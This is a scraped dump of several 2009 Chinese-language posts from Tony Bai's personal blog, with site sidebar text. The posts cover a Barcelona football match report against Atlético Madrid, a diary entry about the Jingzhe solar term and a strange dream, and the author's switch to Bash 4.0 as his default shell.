2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2009/03/08/barca-vs-athletic_bilbao/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"梅西·点杀锁胜局巴萨复活"},{"content":"今天是3月5日，雷锋纪念日，36年前的今天，伟大领袖毛主席亲笔写下：“向雷锋同志学习”。对于雷锋，相信80年代前期出生的人都应该不陌生，记得小时候经常会被要求在全班同学面前讲雷锋的故事，那也是我最头疼的事，最不会讲故事了^_^。\n梅西进球了，巴萨晋级了。在今天凌晨举行的西班牙国王杯半决赛第二回合比赛中，巴萨客场1:1逼平马洛卡，以两轮3:1的总比分晋级决赛。值得一提的是巴萨国王梅西连续两轮比赛都有进球，而且每个进球都很漂亮；老门将平托扑出点球为巴萨立下一大攻。国王杯决赛将在5月13日举行，这样巴萨终于可以全身心投入西甲联赛和冠军联赛了，巴萨的队员们终于可以好好休息休息了。下一个目标：取得一场胜利。\n早晨上班后，与同事聊天中才得知今天还是传统二十四节气中的“惊蛰”。在网上查了一下，“惊蛰”这个节气的含义是春雷乍动，惊醒了蛰伏在土壤中冬眠的动物，气温开始回升。\n说到小动物，就不能不提到今早做的一个“恶”梦。大概是在凌晨四五点钟，当时起夜回到床上，朦胧中开始了这个梦。梦里的我似乎在卫生间收拾卫生，打开水龙头放水到盆中，不经意间卫生间里突然开始涨水了，水已经流出卫生间门留到客厅和卧室。梦中的我赶忙大声呼唤老婆起来，呼叫间水突然间消失了，应该是从下水道溜走了。但是地面上出现了一个大甲壳虫，足有14寸笔记本那么大，或者有一个马葫芦盖那么大的甲壳虫，黑色的。它在慢腾腾的往门外爬。太吓人了。再一眼扫向卫生间内，各种稀奇古怪的大虫子不知道从哪里蹦出来的，地上墙上都是，顿然一种恶心的感觉冲上心头，把我从梦中惊醒。这个梦是那么的真实，心里想了想，到底是什么经历让我做这样的梦呢。突然想到以前曾经看过一部名为\u0026quot;远古入侵\u0026ldquo;的英国电视剧，那部科幻剧中讲的就是现代文明社会被史前巨大昆虫袭击的惊险离奇的故事。\n最后值得一提的还有今天这里下了一场大雪，不过这场雪已属强弩之末了，人们隐约中已经感受到了春天的强大势力即将到来。\n","permalink":"https://tonybai.com/2009/03/05/small-things-during-jingzhe/","summary":"\u003cp\u003e今天是3月5日，雷锋纪念日，36年前的今天，伟大领袖毛主席亲笔写下：“向雷锋同志学习”。对于雷锋，相信\u003ca href=\"http://tonybai.com/2007/03/13/what-do-we-play-on-1970s-and-1980s/\" title=\"80后\"\u003e80年代\u003c/a\u003e前期出生的人都应该不陌生，记得小时候经常会被要求在全班同学面前讲雷锋的故事，那也是我最头疼的事，最不会讲故事了^_^。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://en.wikipedia.org/wiki/Lionel_Messi\" title=\"梅西本纪\"\u003e梅西\u003c/a\u003e进球了，巴萨晋级了。在今天凌晨举行的西班牙国王杯半决赛第二回合比赛中，巴萨客场1:1逼平马洛卡，以两轮3:1的总比分晋级决赛。值得一提的是\u003ca href=\"http://en.wikipedia.org/wiki/Lionel_Messi\" title=\"巴萨国王\"\u003e巴萨国王\u003c/a\u003e梅西连续两轮比赛都有进球，而且每个进球都很漂亮；老门将平托扑出点球为巴萨立下一大攻。国王杯决赛将在5月13日举行，这样巴萨终于可以全身心投入西甲联赛和冠军联赛了，巴萨的队员们终于可以好好休息休息了。下一个目标：取得一场胜利。\u003c/p\u003e\n\u003cp\u003e早晨上班后，与同事聊天中才得知今天还是传统二十四节气中的“\u003ca href=\"http://zh.wikipedia.org/wiki/%E9%A9%9A%E8%9F%84\" title=\"惊蛰\"\u003e惊蛰\u003c/a\u003e”。在网上查了一下，“惊蛰”这个节气的含义是春雷乍动，惊醒了蛰伏在土壤中冬眠的动物，气温开始回升。\u003c/p\u003e","title":"惊蛰日身边事小记"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2009/03/05/cup-semifinal-mallorca-vs-barca/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"梅西·扳平球助巴萨进决赛"},{"content":"梅西已经有整整一个月没有联赛进球了！这的确让人难以置信！不过事实就是如此，自从第21轮客场对阵桑坦德竞技一役梅西替补出场打入两球（其中第二粒进球是巴萨联赛史上的第5000粒进球）后，阿根廷天才就再也没能攻破对方球门。这让全世界关心巴萨、关心梅西的球迷实在难以接受，似乎联赛上半轮那个无所不能的梅西顿然间消失了。在梅西“停火”期间，巴萨也陷入低靡期，在联赛中仅取得了一平一负的糟糕战绩，领先优势也缩小至7分，用“岌岌可危”来形容巴萨毫不为过。\n今天凌晨2:00（北京时间2009年3月2日），西甲25轮比赛打响，巴萨做客卡尔德隆球场迎战劲敌马德里竞技。在本赛季的联赛和国王杯上，巴萨已经与马竞三次交手，巴萨获得全胜。梅西在本赛季一共已经打入马竞4粒进球，在国王杯八分之一决赛巴萨客场战马竞的比赛中梅西还上演了帽子戏法。 不过那些胜利都已经成了历史，此时的巴萨正处于困难的低谷期，能否继续在马竞身上全取三分还是个未知数。而马竞本赛季也是战绩不佳，联赛所剩轮数已不多， 为了争取欧赛的资格，马竞还是会使出浑身解数争取在主场击倒巴萨的。本场比赛是梅西的第100场联赛比赛，也是马竞核心球员阿圭罗的第99场联赛比赛，两 个阿根廷金童的再次PK也是本场比赛的一大看点，之前两个金童的若干次PK中，梅西获得了全部胜利；赛前阿圭罗喜得贵子，这无疑提升了阿圭罗的心气儿，阿 圭罗也希望能在本场比赛用进球作为礼物献给自己刚刚出生的儿子。\n由于阿比达尔伤停，凯塔、皮克双双禁赛，瓜帅只能安排老将西尔维尼奥出任 左后卫，普约尔与马科斯搭档镇守中路，阿尔维斯继续出任右路飞翼。中场哈维雷打不动，图雷和古德约翰森被委以重任辅佐哈维，锋线上三叉戟亨利、埃托奥和梅 西首发。马竞则基本全主力出战。两队都在周中进行了冠军联赛的比赛，均已平局收场，所以本场比赛两队基本上处于同一起跑线上，哪方能取得胜利就要看双方队 员的发挥了。\n一开场，马竞就给巴萨来了个下马威。马竞后场断球，西芒前突，找准空档将球舒服的分给阿圭罗，后者面对巴尔德斯挑射，球打在 边网上，真险啊。如果这个球进了，巴萨队员的信心势必将受到强烈打击。第4分钟，马竞卷土重来，阿圭罗右路单挑普约尔获得角球，角球发出后，被巴萨防守球 员顶出，禁区外阿根廷球员马克西·罗德里格斯大力远射攻门，巴尔德斯扑球脱手，荷兰人海廷加门前补射入网，但边裁举旗，判此球越位在先，进球无效，而镜头 回放表明这个判罚有待商榷。无论怎样，这个“入球”巴尔德斯逃不了干系，这是他的一个技术性失误直接导致了这个“失球”。\n比赛继续，从场 面上看，巴萨中场控制似乎不例。马竞的两个边路频繁冲击巴萨后防，犯规成了巴萨队员阻止对方进攻的唯一方法。双方拼抢很激烈，经常出现人仰马翻的情形，马 竞前场队员就地反抢很凶，经常会因为反抢而获得一些机会。前18分钟，梅西几乎没有怎么触球，阿尔维斯在右路的活动也如大不如以前犀利，铁人阿尔维斯似乎 也进入了”疲劳期“，毕竟他几乎参加了巴萨本赛季的全部比赛。\n虽然场面不占优，巴萨还是在第18分钟取得领先。阿尔维斯右路长传对方禁区 中路，对方中卫结围却将球做给了亨利，亨利与中路的埃托奥做了一个配合后，球再次回到亨利脚下，亨利右脚踢出一记美妙的弧线，皮球绕过门将直挂球门右上 角，太漂亮了，巴萨1:0领先。要知道，巴萨已经连续多场比赛都没能先入球了。这个进球让巴萨队员信心倍增。\n第25分钟，梅西终于露脸儿了，梅西右路边线处拿球连续晃过对方两名后卫的防守后，长距离直传给左路插上的亨利。球在禁区被对方中卫拦截破坏出底线，巴萨获得角球。梅西亲自主罚左路角球，给马竞禁区带来一片混乱。\n梅西快速突破\n梅西依然是对方“重点照顾”的对象\n第 30分钟，梅西以一粒漂亮的进球打破个人一个月以来的进球荒。图雷后场断球后中路突进，分球给左路无人防守的亨利。亨利左路带球试探性前进，在两名后卫中 间将球回传给换位到中路的梅西。梅西声东击西，先假作向中路横向带球，吸引了对方两名后卫的防守，然后突然变线，从左路快速直线突破，对方另两名后卫被晃 了个趔趄，还没等反应过来，梅西已经从两人之间突破了，面对门将的封堵，梅西左脚推出一粒颇具角度的射门，皮球滚入球门右下角，太漂亮了！进球后梅西也很 是兴奋。从梅西庆祝的特写镜头中看到梅西的右眼眶下方有一块黑斑，不知是否是训练中受的伤。巴萨取得了不错的前30分钟，2：0领先了。\n梅西进球后庆祝\n梅西进球后庆祝\n巴 萨的快乐没有持续多长时间，仅仅过了2分钟，马竞就扳回一个球。乌拉圭射手弗兰在左路距球门30码的位置一粒世界波的落叶球攻破了巴萨球门，巴尔德斯对此 球毫无办法，1:2。这个进球也让马竞队员兴奋起来，并向巴萨腹地发起猛攻。不过巴萨在第39分钟再次获得绝佳机会，可惜久疏战阵的古德约翰森居然将单刀 球这么好的机会浪费。梅西的上半场结束前还有一次机会，同样是左路的进攻，同样的射门方式，不过这次球划门柱而出。\n下半场双方踢的更加疯 狂，两方都几乎放弃了中场组织，完全靠前锋把握机会的能力和后卫失误的次数来踢。哈维在这样的踢法下几乎消失。第56分钟先是巴萨后卫马科斯失误送出大 礼，阿圭罗把握住机会打入扳平入球。而后亨利再次站出来，第73分钟，古德约翰森传球亨利门前轻松推射得分，完成梅开二度，巴萨再次领先。不过亨利在第 80分钟的禁区防守犯规又给了对方一粒点球，弗兰一蹴而就，3：3。场面上巴萨已经彻底丢失了自己的节奏，完全按照马竞的节奏打了。89分钟，普队也出现 了一次失误，普队断球失误，阿圭罗把握住了这最后的机会，献绝杀，帮助马竞主场一球逆转巴萨。\n初为人父的阿圭罗赢得本次金童PK\n可以说巴萨失去自我的踢球方式断送了大好开局，梅西虽然打破了进球荒，但是却没能在自己的第100场西甲联赛中给球队带来胜利，至此巴萨两连败，领先优势 已经缩小到了可怜的4分，巴萨已经不能再输了，否则可真的要崩盘了。希望巴萨不要重蹈覆辙。下一个目标：取得一场胜利，这对恢复球队自信极其重要。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/03/02/atletico_madrid-vs-barca/","summary":"\u003cp\u003e梅西已经有整整一个月没有联赛进球了！这的确让人难以置信！不过事实就是如此，自从第21轮客场对阵桑坦德竞技一役梅西替补出场打入两球（其中第二粒进球是巴萨联赛史上的第5000粒进球）后，阿根廷天才就再也没能攻破对方球门。这让全世界关心巴萨、关心梅西的球迷实在难以接受，似乎联赛上半轮那个无所不能的梅西顿然间消失了。在梅西“停火”期间，巴萨也陷入低靡期，在联赛中仅取得了一平一负的糟糕战绩，领先优势也缩小至7分，用“岌岌可危”来形容巴萨毫不为过。\u003c/p\u003e","title":"梅西·破进球荒无奈被逆转"},{"content":"近日，Bash Shell正式发布了其4.0版本，该版本可以看作3.x的bugfix版，同时增加了诸如\u0026quot;Associative Arrays\u0026quot;等新特性。在Bash Shell的官方站点你可以下载到最新的4.0版本，不过在GNU的Bash主页上，似乎还找不到4.0版本的所在。Bash作为Linux系统默认Shell，一直受到广泛关注，而且它还是目前几大Shell(Bourne Shell, C Shell、Korn Shell、Bash Shell)里唯一还继续维护和更新的Shell版本了，目前其主要维护者是Chet Ramey，Bash的两个原始作者之一。\n部门内部一直使用C Shell作为Unix账户的默认Shell，估摸着一切源于“继承性”。以前对Shell的关注不多，认为只是工具，用什么Shell都无所谓；近来一直在关注工具使用的高效性，Bash Shell也就再次进入我的视野，花了三天时间将《学习Bash》这本书通读了一遍，收获颇丰，纠正了我以前很多对Shell错误的理解，也加深了我对Shell的认识。《学习Bash》这本书市面上已经绝版了，各大网购站点都亮出“缺货”字样。其英文原版是Oreilly的“Learning the bash shell 2nd edition”，而目前最新版本则是“Learning the bash shell 3rd edition”，内容变化不大，没有中文译版，可以到网上下载电子版阅读。\nBash在命令行编辑下支持的Emacs和Vi模式让我使用起来很得心应手，这样即使在命令行下我也可以使用VI的快捷键对命令行进行编辑，手指可以完全不用离开键盘的常用操作区。这也直接促使我将Bash“扶正”。昨天已经让管理员把我的Unix帐户从C Shell正式换成了Bash Shell。\n现在也逐渐认识到：深入理解Shell脚本更有助于你深入理解Unix的文化，对在Unix上写程序也大有裨益。\n","permalink":"https://tonybai.com/2009/02/27/make-bash-my-default-shell/","summary":"\u003cp\u003e近日，Bash Shell正式发布了其\u003ca href=\"ftp://ftp.cwru.edu/pub/bash/bash-4.0.tar.gz\" title=\"Bash 